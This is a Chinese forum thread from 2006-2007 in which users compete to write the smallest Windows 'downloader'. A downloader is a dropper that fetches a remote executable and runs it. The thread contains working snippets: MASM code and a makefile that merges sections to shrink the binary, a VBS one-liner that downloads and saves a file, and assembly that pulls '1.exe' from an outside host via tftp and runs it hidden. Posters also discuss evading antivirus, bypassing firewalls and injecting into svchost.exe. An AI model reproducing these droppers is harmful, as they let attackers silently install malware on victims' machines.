不知道手工打造一个这样的下载者会有多少，估计会突破极限了。 [quote][b]引用第1楼[i]mj才是王道[/i]于[i]2006-10-30 11:31[/i]发表的[/b]:

汗..........嗯，512字节的，牛B，贴出来让大家学习一下啊，口说无凭嘛...要求能在WinXP SP2下跑起来，无论用什么猥琐方法都可以，包括手工修改PE文件 .data
szURL db '[url]http://localhost/1.exe[/url]',0
szPath db 'c:\1.exe',0
哈哈,就是这里少了一点,哈哈,url比你的那个少了三个字节,哈哈..下载的文件名也比你少三个字节
就是把gyzy改成1....哈哈,不算... 把编译的MakeFile文件也贴出来:
[code]EXE = gDownloader.exe #指定输出文件
OBJS = gDownloader.obj #需要的目标文件
#RES = 1.res #需要的资源文件
LINK_FLAG = /subsystem:windows /section:gyzy /MERGE:.data=gyzy /MERGE:.text=gyzy /MERGE:.rdata=gyzy#连接选项
ML_FLAG = /c /coff #编译选项
$(EXE): $(OBJS) $(RES)
Link $(LINK_FLAG) $(OBJS) $(RES)
.asm.obj:
ml $(ML_FLAG) $<
.rc.res:
rc $<
clean:
del *.obj
del *.res[/code] [quote][b]引用第4楼[i]evilknight[/i]于[i]2006-10-30 12:15[/i]发表的[/b]:

确定比我的小5字节？？嘿嘿，毛主席他老人家说过：“没有调查就没有发言权”，url和文件名修改编译出来的大小不变的。 Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

刚刚准备测试，卡巴报警了 szURL db 'URL',0

直接编译出来为704字节...其实还是align的作用更大一些 说句菜鸟的话，就上边ASM的可以成功运行，其余的都不可以。
masmplus测试的。 作为下载者俺的不是最小 1024字节
作为批处理生成,应该说这样的大小很不错滴

第一次看的时候看错了,呵呵,还错怪作者,以为作者错了呢.
这个133 byte的downloader....构造的很妙啊,呵呵
我记得,要是使winxp客户端支持WebDAV,需要开启 WebClient服务吧? 我的关了,默认是开的,好像.
IIS5默认是开启WebDAV的,不知道IIS^6怎么样~ 就上边ASM的可以成功运行，其余的都不可以 [s:39] [s:39] [quote][b]引用第9楼[i]chinalvker[/i]于[i]2006-10-31 06:23[/i]发表的[/b]:
冒昧问句，这是你原创吗 ？
刚刚准备测试，卡巴报警了[/quote]
哈哈，先仔细看看代码再测试啊```那个是VBS代码啊``网上流传已久的！ 624字节.
合并节,/ALIGN:4,未压缩.
[s:39]
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
.data
szCmdLine db "tftp -i [url]www.0xh.cn[/url] get 1.exe c:\1.exe",0
szFile db "c:\1.exe",0
.code
start:
invoke WinExec,addr szCmdLine,SW_HIDE
invoke WinExec,addr szCmdLine,SW_HIDE
end start 这个东西最小应该能写到250字节以内.我写过220字节的还是多少,忘记了.改天有时间发上来. [quote][b]引用第26楼[i]justcrack[/i]于[i]2007-01-24 17:02[/i]发表的[/b]:

你这代码写错了，正确的应该是：
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
.data
szCmdLine db "tftp -i [url]www.0xh.cn[/url] get 1.exe c:\1.exe",0
szFile db "c:\1.exe",0
.code
start:
invoke WinExec,addr szCmdLine,SW_HIDE
invoke WinExec,addr szFile,SW_HIDE
end start
[s:39] [s:39] [s:39] [s:64] 一不当心就写错了。我是分2次复制的。发现多了行就删了行，结果删错
- -# 133字节的牛

这个urlmon.dll有什么作用? *** 作者被禁止或删除 内容自动屏蔽 *** 楼上的需要修改..
open 后面的是IP
下面的是用户名密码
其他的就不说了. 我做试验，那个VBS的好像不行哦，杀毒软件也出来捣乱。 我写的也是用UrlDownloadToFile和ShellExecute两个API,为什么我的会比他们的大很多呢?哪位解释一下要调用哪个API才会更小? 小是小。。可是非 不会穿墙吧。。 [s:264]
个人想法
把马改成jpg或者其它格式
用ie访问
然后在临时ie文件夹里翻出来。。
大小 1K 肯定可以解决 [s:267] 看不懂,请问单引号用其它进制怎么表示呀 [quote]引用第6楼gyzy于2006-10-30 12:27发表的 :
确定比我的小5字节？？嘿嘿，毛主席他老人家说过：“没有调查就没有发言权”，url和文件名修改编译出来的大小不变的。[/quote]
貌似 只有类如 count dup（） 定义的 大小才不变吧 ？[s:263] 呃,,好像大家都不穿墙哈...
我的下载者,插入SVCHOST.EXE(不信它不DNS解释) 目前全免杀.自己写着玩的,见笑.哈哈...
下载的是这个文件:
